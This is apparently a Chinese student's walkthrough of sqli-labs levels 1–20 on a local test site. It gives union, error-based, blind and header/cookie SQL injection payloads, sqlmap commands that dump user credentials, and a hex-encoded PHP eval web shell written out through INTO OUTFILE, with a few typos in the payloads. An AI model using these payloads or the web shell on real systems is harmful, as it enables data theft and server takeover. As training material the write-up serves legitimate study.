刚刚学了sql注入一小部分,让我们先做做练练手(别问我为什么没有1),搭建环境这一步就不说了。
通过对id的赋值,我们判断这个题目的注入类型是数值型。判断好注入类型后?开始用order by开始确定列数,从1开始一个一个尝试
到4的时候就没有列了,现在我们开始找库名
找到了users,再查看users里面的数据,就这样一步一步来
我们发现里面就有id,password,username,再查看里面的内容,用group_concat()进行查询
这道题就相当于是解决完了。
补充:其实我以前一直在想,sql注入看那么多东西的目的是什么,直到今天我才想明白,原来是为了找到最里面的flag或者是重要的信息
这道题和1,2题解决的方法是大同小异的,只不过是sql注入的类型不一样,是字符型注入(')类型)先来看有几列(其实我们都知道是有3列的.....)
?id=1') order by 3 --+
然后,再查询它的表名:
?id=-1') union select 1,2,3 --+
只回显了两个值,所以只用联合查询1,2,这时,再让我们查询它的库名,表名,列,列中的数据,一步一步来,咱就说一定能学会!
查库名:
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.shemata --+
查表名:
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查列:
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where column_schema='users' --+
已经有password username id显示出来了,再将他们的数据都查看就完事了!查数据:
?id=-1') union select 1,2,group_concat(id,password,username) from security.users --+
这道题就完成了。
跟上面的题没区别,只不过注入类型是")型注入,就不一步一步写步骤了,来康康截屏吧
看注入类型
看所含的列数
这道题通过判断,是注册表型的‘的sql注入形式,跟以前没有什么两样(我自己做的时候觉得)。反正就一步一步来就好了。判断完类型后先查询列数
' order by 3 #
再次尝试
' order by 2 #
联合查询列数
' union select 1,2 #
查询数据库名;
' union select 1,database() #
查询表名:
' union select 1,group_concat(table_schema) from information_schema.tables where table_schema='security' #
查询列名:
' union select 1,group_concat(column_schema) from information_schema.columns where table_name='users' #
再看看里面的数据就好了
' union select 1,group_concat(id,username,password) from security.users #
本题考察的主要考察布尔盲注,但是我今天学习用sqlmap直接就可以全部整出来,先来补充一点知识。
sqlmap的安装是大哥教我的。
1、首先我们要拥有一个python。因为上学期需要用到,所以我已经安装了一个了。然后,自己去网站上找一个sqlmap的源码,下载下来(大哥发给我的我就不提供了)。
选择快捷方式。创建完成后,选择cmd作为链接,再去更改属性。(但是盲注的脚本也可以自己去写,但是没有sqlmap那么强大,是没有办法比较的。。。)将快捷方式命名为sqlmap
创建成功后,进入属性 ,将起始位置更改为你sqlmap所在的位置,我的是在E盘中
然后就能正常的运行了!
此时此刻第五关就显得渺小了起来......,打开我们的sqlmap来跑一跑。
正常运行后,先查询库名
E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" --dbs
再查询表名:
E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security --tables
查询列:
E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users --columns
最后查看里面的内容!!!
E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -C id,password,username --dump all
okk了就
(第六关我也是用sqlmap跑出来的,别问问就是没有写)
这关有一个全新的知识点,就是通过上传木马去获取它的本地文件(用蚁剑连接)大部分知识点总结了我大哥的博客(问就是他强制要求我看他的)参考博客
返回数据库的路径 @@datadir 查看文件所在的位置,具体使用方法如下:
测试是否具有读取权限语句: (select count(*) from mysql.user)>0
具体用法:http://localhost/sqli/Less-7/?id=1')) and (select count(*) from mysql.user)>0 有回显的话就是拥有读取权限,如果没有的话就要在PHP study里面加入一句命令
secure_file_priv="/" (它的默认值为null)用这句命令来获取权限
现在就可以开始做题了,3的时候还有回显,试一试4
http://localhost/sqli/Less-7/?id=-1%27))order%20by%204%20%23
只有3列,这个时候使用联合查询已经没有用了,要用命令创建一个新的文件码才行
此时我们发现没有办法创建,其实是我们的码的内容被防火墙waf过滤了,这里我们用16进制绕过,记得在16进制前加上0x(如下),转换为16进制时候内容不需要加引号了
然后开始上传文件
http://localhost/sqli/Less-7/?id=1'))%20union%20select%201,2,0x3c3f70687020406576616c28245f504f53545b277a7863275d293b203f3e%20into%20outfile%20%27E:\\GJ\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\456.php%27%20%23
上传成功
此时用蚁剑连接
连接成功,可以访问到源目录,第七关完成
主要还是脚本里面的函数用法要自己弄清楚,以后实战的时候才能够用起来(如果是大佬的话自己写脚本也是可以的),展示一下结果
如果用sqlmap跑的话操作和第五关一样的操作
多半相当于是时间盲注,不管注入什么回显都是 you are in......,尝试手注的话就用sleep还有substr()之类的
这里浅试一下手注
我们发现是单引号型注入,而且不管是我输入什么都是只会回显you are in.......
尝试获取数据表名称,猜测第一个字符是什么
?id=1' and if(substr(database(),1,1)='s',sleep(3),1) %23
//判断数据库名称的从第一个开始的第一个字母是不是s
的确是延迟显示了,说明正确,那就再尝试用长度可以再尝试一下
?id=1' and if(length(database())=8,sleep(3),1) %23
//判断数据库的名称长度是否为8
也存在延迟反应,说明猜测成立,一步一步的开始猜(其实真的会猜到天荒地老,所以好好学习脚本和sqlmap)
这道题和第九关一样,只不过是双引号绕过类型
?id=1" and if(substr(database(),1,1)='s',sleep(3),1) %23
//判断数据库名称的从第一个开始的第一个字母是不是s
将上面的换成双引号就可以了 (后面省略)
与第11题一样,都是最普通的登陆界面注册方式,只不过是")型的注入方式 ,判断完成注入方式后我们开始慢慢的注入
查询数据库名称:
") union select 1,database() #
//一般登陆界面我习惯在登陆框里面直接输入命令
数据库名是security,查询表名
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
出现id,password,username,看一看他们
1") union select 1,group_concat(id,username,password) from security.users #
最后注入成功
本题更相当于是一个报错注入,无论你的输入什么都没有回显,只显示登陆是否成功
用万能密码登录成功之后,发现他的注入类型是'),这里就直接进行报错注入命令
学习文本1 学习文本2
爆数据库:
1') and (select extractvalue(1,concat(0x7e,(select database())))) #
爆表名
1') and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) #
爆字段名:
1') and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))) #
就这样爆下去!
(报错注入的笔记是我自己总结的!自己学习一下也可以的!)
和十三关一个模板,只不过注入的方式不同
1" or 1=1#
用万能密码登陆后发现注入方式为单引号注入,于是开始查询字段
1' or 1=1 #
但是发现没有任何的回显,我猜测应该是布尔盲注,要借助sleep()函数去判断,注意这里的用户名要是admin才能行
admin' and if(length(database())=8,sleep(1),1) #
延迟显示了1秒左右
所以我们能够猜测出它的数据库名称是security。。。。。后面的步骤和前面的相同,也可以用sqlmap跑一下 参考学习博客
打开我们的sqlmap,用口令就可以开始跑数据库名称了
E:\sql_map>python sqlmap.py -r "文件路径(自己填在属性里面找)" -p uname --dbs
最后得到的结果。。。后面就不跑了QAQ
和16关一样,什么回显都没有,也不会报错,那就一定是时间盲注,可以手注借用sleep函数,也可以用sqlmap跑一下结果。(像15关一样!!!!)
方法和上面那道题一模一样。。(就不做啦!)
题目上出现了密码重置的提示,先尝试一下嘛,我浅浅尝试了一下admin和123,就登陆成功了?(我看了一下参考博客,原博主是用bp得到的用户名),要从password窗口输入命令是因为密码会重新设置(但是这里不能一边查询内容一边去更改password的值,后面应该是能用上和命令的修改有关),那就从数据库名称开始查询
用admin和'知道了它的注入类型是单引号类型,(所以要确保uname没有改变,但是password可以随意改变)
查询数据库名称:
admin
1' and(select updatexml(1,concat(0x7e,(select database())),0x7e)) #
查询表名:
1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security")),0x7e)) #
1' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name='users')))) #
爆数据:
1' and(select extractvalue(1,concat(0x7e,(select group_concat(id) from users)))) #
会出现这个的原因是因为那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表 参考博客1 参考博客2
要是不能先select的话,解决方法就是把他包裹起来,创建一个表A去替代他
查询ID的值:
admin
1' and updatexml(1,concat(0x5c,(select group_concat(id) from (select id from security.users)a),0x5c),1)#
1' and updatexml(1,concat(0x5c,(select group_concat(username) from (select username from security.users)a),0x5c),1)#
再看password的内容:
admin
1' and updatexml(1,concat(0x5c,(select group_concat(password) from (select password from security.users)a),0x5c),1)#
这道题就算是完成了!
有一个文件头信息,在看了参考博客之后知道要用bp抓包进行文件头注入,因为查看源码之后我们发现,uname和psw都被保护起来,不能改变,在提示之后知道只要在文件头处进行报错注入命令
也可以用hacker bar进行注入
' and updatexml(1,concat('~',(select database())),1) and '1'='1
再查询表名称:
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1
查询数据:
' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1
报错注入还有很多要学的,感觉还有很多的不足,慢慢加油
打开题目,用密码登陆上之后,发现是在referer上面进行注入,同样用hackbar,用bp抓包发现就是单纯的单引号型注入
爆数据库名:
' and updatexml(1,concat('~',(select database())),1) and '1'='1
爆表名:
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1
其他和18关一样,就不演示了
八成是在cookies上面进行注入的,同样用bp抓包试一试 就用hackbar注入吧,会更方便一点。也是单引号型注入方式
爆数据库:
uname=admin and ' and updatexml(1,concat('~',(select database())),1) and '1'='1
爆表名:
uname=admin and ' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1
爆字段名:
uname=admin and ' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1
查看数据:
uname=admin and ' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1
前20关完成啦!
完结撒花,感谢观看